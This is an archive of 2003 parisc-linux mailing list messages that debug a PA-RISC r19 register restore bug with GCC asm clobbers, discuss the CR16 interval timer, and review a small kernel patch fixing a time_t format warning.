> I can look, but willy or jejb have much better chance of finding
> something...

Those functions don't seem to exist in 2.6.  The only reference is:
./Documentation/block/biodoc.txt: of data, so brw_kiovec() invokes ll_rw_kio for each kiobuf in a kiovec.
which seems to be an orphaned comment.

I'll reluctantly take a look at 2.4.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Sun, 21 Sep 2003 10:24:58 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20030921142458.GE6963@systemhalted>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6C9622.60402@tiscali.be> <20030921000447.GC31268@dsl2.external.hp.com> <200309211320.36485.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622791 31336 80.91.229.3 (22 Nov 2014 02:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:51 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 08:27:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06594483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 08:27:17 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A1590-0002OJ-00; Sun, 21 Sep 2003 10:24:58 -0400
Content-Disposition: inline
In-Reply-To: <200309211320.36485.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19558

On Sun, Sep 21, 2003 at 01:20:36PM +0200, Helge Deller wrote:
> On Sunday 21 September 2003 02:04, Grant Grundler wrote:
> > On Sat, Sep 20, 2003 at 06:02:10PM +0000, Joel Soete wrote:
> > > a quick look into paxx.pdf which about CR16 speak of "peak instruction
> > > rate" but do not define anywhere?
> > > I presume that is the cpu clock but would like somebody confirm.
> >
> > Read about "Interval Timer" (cr16) in the PA 2.0 Arch book.
> > PDC provides the exact rate that CR16 is changing.
> > Looks like PDC_TOD_ITIMER is the call but I'm not sure offhand.
> > In any case, I've only seen it used as CPU cycle counter.
> > (ie 1:1 with CPU clock).
> 
> Hi Joel,
> 
> I think we have the rate in the variable "boot_cpu_data.cpu_hz" (see 
> arch/parisc/kernel/processor.c) already.

Technically that's our highest precision timer :)

c.


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Found the r19 problem!
Date: Sun, 21 Sep 2003 11:45:01 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <20030921154501.GF6963@systemhalted>
References: <20030919192813.GL18225@systemhalted> <200309192010.h8JKAlHs004032@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622792 31340 80.91.229.3 (22 Nov 2014 02:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:52 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 09:47:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F8ED483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 09:47:24 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A16OT-0002yg-00; Sun, 21 Sep 2003 11:45:01 -0400
Content-Disposition: inline
In-Reply-To: <200309192010.h8JKAlHs004032@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19559

On Fri, Sep 19, 2003 at 04:10:47PM -0400, John David Anglin wrote:
> > If it were major we would have fixed it :)
> > I'm trying to find the "missed a restore" point.
> 
> 0x4019063c:     stw r19,-20(sr0,sp)             # 2742
> 
> Just a note, GCC saves r19 in the frame marker in the prologue of
> non-leaf functions but we never attempt to restore r19 from the frame
> marker.  This is the mandated ABI behavior.  At the moment, GCC copies
> r19 to r4 for the save.

I would like to start this off with:
"JDA said don't put r19 into clobber list"

I didn't listen. I thought it should all still work.
James reports that removing r19 from the clobber list works, but I still
haven't rebuilt my tree, so I'll see.

Example (Assembly trace provided at the end):

getcwd: (Start of function)
	stw r19,-20(sr0,sp)
	...
syscall:
	(Syscall with save/load r19 wrapper)
	stw r19,-20(sr0,sp)
	be,l 100(sr2,r0),%sr0,%r31
	ldi 6e,r20
	ldw -20(sr0,sp),r19
	...
	(Many insn later)
	(stub) (dyncall) -> libpthread.so
	-> libc.so
	(r19 not restored)
	(Jump to syscall:)
	...

o GCC is confused by the r19 asm(...) clobber?

Notes:

I generated insn traces using gdb scripts.

  __pthread_mutex_unlock: 0x7730 <0x4018c730>	(In libpthread)
 __libc_malloc: 0x7f4a0 <0x400a34a0>		(In libc)

(return stub)
0x400a34a0:     b,l 0x400a33f8,r0
0x400a34a4:     copy r5,ret0

(__libc_malloc returning)
0x400a33f8:     ldw -54(sr0,sp),rp
0x400a33fc:     ldw -3c(sr0,sp),r5		(No need to restore r19)
0x400a3400:     ldw -38(sr0,sp),r4
0x400a3404:     ldw -34(sr0,sp),r3
0x400a3408:     bv r0(rp)			(Back to getcwd)
0x400a340c:     ldw,mb -40(sr0,sp),r6

getcwd: 0xdb128 <0x400ff128>
0x400ff128:     ldi 0,r21
0x400ff12c:     cmpib,<> 0,ret0,0x400ff034	(Jump back to do syscall)
0x400ff130:     copy ret0,r6

0x400ff034:     copy r3,r25
0x400ff038:     copy r6,r26
0x400ff03c:     stw r19,-20(sr0,sp)
0x400ff040:     be,l 100(sr2,r0),%sr0,%r31
0x400ff044:     ldi 6e,r20
0x400ff048:     ldw -20(sr0,sp),r19 (si gdb artifact, lost insn inside syscall)
0x400ff048:     ldw -20(sr0,sp),r19 
0x400ff04c:     ldi -1000,r20
0x400ff050:     cmpb,>>= r20,ret0,0x400ff070
0x400ff054:     copy ret0,r3

0x400ff070:     cmpib,>,n 0,r3,0x400ff0cc
0x400ff074:     cmpiclr,<> 0,r7,r21
0x400ff078:     ldi 1,r21
0x400ff07c:     cmpiclr,<> 0,r5,r20
0x400ff080:     ldi 1,r20
0x400ff084:     and r20,r21,r20
0x400ff088:     cmpib,<> 0,r20,0x400ff0bc
0x400ff08c:     copy r3,r25			(No r19 restore yet!!!)

(call stub)
0x400ff0bc:     b,l 0x40114e2c,rp
0x400ff0c0:     copy r6,r26

(stub)
0x40114e2c:     addil -1800,r19,%r1
0x40114e30:     ldw 428(sr0,r1),r21
0x40114e34:     bv r0(r21)
0x40114e38:     ldw 42c(sr0,r1),r19


getcwd: 0xdb0c0 <0x400ff0c0>
(stub) *BOOM*

Is there any way we can make this work?

c.



From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 12:39:40 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200309211639.h8LGdesh010888@hiauly1.hia.nrc.ca>
References: <20030921154501.GF6963@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622792 31344 80.91.229.3 (22 Nov 2014 02:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:52 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 10:39:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94861493D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 10:39:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8LGdeYP010889;
	Sun, 21 Sep 2003 12:39:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8LGdesh010888;
	Sun, 21 Sep 2003 12:39:40 -0400 (EDT)
In-Reply-To: <20030921154501.GF6963@systemhalted> from "Carlos O'Donell" at Sep 21, 2003 11:45:01 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19560

> I would like to start this off with:
> "JDA said don't put r19 into clobber list"
> 
> I didn't listen. I thought it should all still work.
> James reports that removing r19 from the clobber list works, but I still
> haven't rebuilt my tree, so I'll see.
> 
> Example (Assembly trace provided at the end):
> 
> getcwd: (Start of function)
> 	stw r19,-20(sr0,sp)
> 	...
> syscall:
> 	(Syscall with save/load r19 wrapper)
> 	stw r19,-20(sr0,sp)
> 	be,l 100(sr2,r0),%sr0,%r31
> 	ldi 6e,r20
> 	ldw -20(sr0,sp),r19

It would be better to use a general register for the save/restore.
If you are going to use the slot in the frame marker, it probably
isn't necessary to save r19 before every syscall.  GCC saves r19
in the slot in the prologue of all pic functions.  However, we don't
currently copy the value when when the function does a dynamic stack
allocation.  That's easily fixed.

> 	...
> 	(Many insn later)
> 	(stub) (dyncall) -> libpthread.so
> 	-> libc.so

The above is an indirect call. r19 should be restored after the call
if it is used after the call.

> 	(r19 not restored)
> 	(Jump to syscall:)

It is likely that clobbering r19 in the syscall causes the restore
of r19 to be deleted.  Because of the clobber, GCC believes that
r19 is dead and the restore insn isn't needed.  I think you should
be able to see this by looking at the rtl for the routine.  The save
and restore of r19 in a call are split out after the GCC reload pass.

I'm still somewhat confused.  Isn't the syscall going to clobber
r19?  Don't you need to save and restore r19 here, rather than in the
wrapper?  There seems to be a call (i.e., you die in a linker call
stub) before you get back to the wrapper to restore r19.

> o GCC is confused by the r19 asm(...) clobber?

The management of r19 is very tricky.  It can't be exposed before
reload as all uses of r19 are not known until that time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Sun, 21 Sep 2003 17:59:50 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <3F6DE716.4030104@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622792 31346 80.91.229.3 (22 Nov 2014 02:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 11:59:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A19D483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 11:59:51 -0600 (MDT)
Original-Received: from [62.235.120.137] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1A18Uw-0002IW-00; Sun, 21 Sep 2003 19:59:50 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19561

Hi all,

during compiling 2.6.0-test5-pa6 with gcc-3.3, i noticed some warning of 
type:
[snip]
  CC      fs/exec.o
fs/exec.c: In function `format_corename':
fs/exec.c:1219: warning: long unsigned int format, time_t arg (arg 4)
[snip]

for which I would suggest the following patch:
hpalin:/Debian-apt/SRC/linux-2.6.0-test5-pa6/fs# diff -Nau exec.c.Orig 
exec.c.new
--- exec.c.Orig    2003-09-10 18:18:40.000000000 +0200
+++ exec.c.new    2003-09-16 23:55:12.000000000 +0200
@@ -1216,7 +1216,7 @@
                 struct timeval tv;
                 do_gettimeofday(&tv);
                 rc = snprintf(out_ptr, out_end - out_ptr,
-                          "%lu", tv.tv_sec);
+                          "%lu", (unsigned long int)tv.tv_sec);
                 if (rc > out_end - out_ptr)
                     goto out;
                 out_ptr += rc;

I would like your opinion before submiting (hmm to Andrew I presume?)

Thanks in advance,
    Joel




From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Sun, 21 Sep 2003 14:46:20 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200309211846.h8LIkKwp011274@hiauly1.hia.nrc.ca>
References: <3F6DE716.4030104@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622793 31351 80.91.229.3 (22 Nov 2014 02:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 12:46:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3F99483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 12:46:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8LIkLYP011275;
	Sun, 21 Sep 2003 14:46:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8LIkKwp011274;
	Sun, 21 Sep 2003 14:46:20 -0400 (EDT)
In-Reply-To: <3F6DE716.4030104@tiscali.be> from "Joel Soete" at Sep 21, 2003 05:59:50 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19562

>                  rc = snprintf(out_ptr, out_end - out_ptr,
> -                          "%lu", tv.tv_sec);
> +                          "%lu", (unsigned long int)tv.tv_sec);

This looks ok to me, although you don't need the extra "int".

I noticed in include/asm-parisc/posix_types.h we have:

/* Note these change from narrow to wide kernels */
#ifdef __LP64__
typedef unsigned long           __kernel_size_t;
typedef long                    __kernel_ssize_t;
typedef long                    __kernel_ptrdiff_t;
typedef long                    __kernel_time_t;
#else
typedef unsigned int            __kernel_size_t;
typedef int                     __kernel_ssize_t;
typedef int                     __kernel_ptrdiff_t;
typedef int                     __kernel_time_t;
#endif

On narrow kernels, int and long are the same.  So, why not use long
for both narrow and wide?  Then, the ifdef can be eliminated.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 14:53:11 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <20030921185311.GG6963@systemhalted>
References: <20030921154501.GF6963@systemhalted> <200309211639.h8LGdesh010888@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622793 31353 80.91.229.3 (22 Nov 2014 02:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:53 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 12:55:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57660483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 12:55:32 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A19KZ-00049A-00; Sun, 21 Sep 2003 14:53:11 -0400
Content-Disposition: inline
In-Reply-To: <200309211639.h8LGdesh010888@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19563

> > Example (Assembly trace provided at the end):
> > 
> > getcwd: (Start of function)
> > 	stw r19,-20(sr0,sp)
> > 	...
> > syscall:
> > 	(Syscall with save/load r19 wrapper)
> > 	stw r19,-20(sr0,sp)
> > 	be,l 100(sr2,r0),%sr0,%r31
> > 	ldi 6e,r20
> > 	ldw -20(sr0,sp),r19
> 
> It would be better to use a general register for the save/restore.
> If you are going to use the slot in the frame marker, it probably
> isn't necessary to save r19 before every syscall.  GCC saves r19
> in the slot in the prologue of all pic functions.  However, we don't
> currently copy the value when when the function does a dynamic stack
> allocation.  That's easily fixed.

So use a caller saves register, place it in the clobbers, and let gcc
work around the usage (e.g. r4).
 
> > 	...
> > 	(Many insn later)
> > 	(stub) (dyncall) -> libpthread.so
> > 	-> libc.so
> 
> The above is an indirect call. r19 should be restored after the call
> if it is used after the call.

It is, but only after the asm(...) that lists r19 in the clobber.

> > 	(r19 not restored)
> > 	(Jump to syscall:)
> 
> It is likely that clobbering r19 in the syscall causes the restore
> of r19 to be deleted.  Because of the clobber, GCC believes that
> r19 is dead and the restore insn isn't needed.  I think you should
> be able to see this by looking at the rtl for the routine.  The save
> and restore of r19 in a call are split out after the GCC reload pass.
> 
> I'm still somewhat confused.  Isn't the syscall going to clobber
> r19?  Don't you need to save and restore r19 here, rather than in the
> wrapper?  There seems to be a call (i.e., you die in a linker call
> stub) before you get back to the wrapper to restore r19.

The presence of r19 in an asm(...) clobber seems to confuse GCC into 
deleting an r19 restore after a return from an interlibrary call. We die
in the linker call stub because it uses libpthread's r19, because GCC
deleted the scheduled restore. Why it deleted the restore is unknown to
me. The syscall wrapper makes sure the syscall doesn't trash r19, it
doesn't assure that the incoming r19 isn't already wrong :)

> > o GCC is confused by the r19 asm(...) clobber?
> 
> The management of r19 is very tricky.  It can't be exposed before
> reload as all uses of r19 are not known until that time.

Agreed, tricky to track down too.

c.


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 14:55:31 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20030921185531.GH6963@systemhalted>
References: <20030921154501.GF6963@systemhalted> <200309211639.h8LGdesh010888@hiauly1.hia.nrc.ca> <20030921185311.GG6963@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622793 31357 80.91.229.3 (22 Nov 2014 02:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:53 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 12:57:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B174483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 12:57:50 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A19Mp-0004A1-00; Sun, 21 Sep 2003 14:55:31 -0400
Content-Disposition: inline
In-Reply-To: <20030921185311.GG6963@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19564

> So use a caller saves register, place it in the clobbers, and let gcc
> work around the usage (e.g. r4).
>  
> > > 	...
> > > 	(Many insn later)
> > > 	(stub) (dyncall) -> libpthread.so
> > > 	-> libc.so
> > 
> > The above is an indirect call. r19 should be restored after the call
> > if it is used after the call.
> 
> It is, but only after the asm(...) that lists r19 in the clobber.
> 

Sorry "It is" should read "It is used" :)
Things get tricky in email with complex issues.

c.


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
